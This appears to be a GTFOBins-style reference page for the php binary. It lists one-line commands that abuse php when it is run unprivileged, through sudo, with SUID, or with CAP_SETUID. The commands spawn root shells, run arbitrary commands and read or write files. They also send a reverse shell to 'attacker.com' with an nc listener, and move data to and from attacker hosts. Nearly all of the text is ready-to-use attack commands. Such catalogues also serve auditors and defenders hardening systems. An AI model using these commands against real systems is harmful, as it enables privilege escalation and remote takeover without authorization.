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Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
php -r 'system("/bin/sh -i");'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r 'system("/bin/sh -i");'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
php -r 'system("/bin/sh -i");'
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.

The following capabilities are needed: CAP_SETUID.
```
php -r 'posix_setuid(0); system("/bin/sh -i");'
```
Unprivileged
This function can be performed by any unprivileged user.
```
php -r 'passthru("/bin/sh -i");'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r 'passthru("/bin/sh -i");'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
php -r 'passthru("/bin/sh -i");'
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.

The following capabilities are needed: CAP_SETUID.
```
php -r 'posix_setuid(0); passthru("/bin/sh -i");'
```
Unprivileged
This function can be performed by any unprivileged user.
```
php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.

The following capabilities are needed: CAP_SETUID.
```
php -r 'posix_setuid(0); $h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
```
Unprivileged
This function can be performed by any unprivileged user.
```
php -r "pcntl_exec('/bin/sh');"
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r "pcntl_exec('/bin/sh');"
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
```
php -r "pcntl_exec('/bin/sh', ['-p']);"
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.

The following capabilities are needed: CAP_SETUID.
```
php -r 'posix_setuid(0); system("/bin/sh -i");'
```

Command

This executable can run non-interactive system commands.

Unprivileged
This function can be performed by any unprivileged user.
```
php -r 'echo shell_exec("/path/to/command");'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r 'echo shell_exec("/path/to/command");'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
php -r 'echo shell_exec("/path/to/command");'
```
Unprivileged
This function can be performed by any unprivileged user.
```
php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'
```

Unprivileged

This function can be performed by any unprivileged user.

php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks

This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Unprivileged
This function can be performed by any unprivileged user.
```
php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

Remarks
This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'
```
TTY
The spawned shell is just a dummy REPL that can only run simple terminal commands.
Listener
A TCP server can be used on the attacker box to receive the shell.
```
nc -l -p 12345
```

File write

This executable can write data to local files.

Unprivileged
This function can be performed by any unprivileged user.
```
php -r 'file_put_contents("/path/to/output-file", "DATA");'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r 'file_put_contents("/path/to/output-file", "DATA");'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
php -r 'file_put_contents("/path/to/output-file", "DATA");'
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
php -r 'readfile("/path/to/input-file");'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r 'readfile("/path/to/input-file");'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
php -r 'readfile("/path/to/input-file");'
```

Upload

This executable can upload local data.

Version requirements

= 5.4
Unprivileged
This function can be performed by any unprivileged user.
```
php -S 0.0.0.0:80
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -S 0.0.0.0:80
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
php -S 0.0.0.0:80
```
Receiver
An HTTP client can be used on the attacker box to receive the data.
```
curl victim.com -o /path/to/output-file
```

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'
```
Sender
An HTTP server can be used on the attacker box to send the data.
```
python -m http.server 80
```

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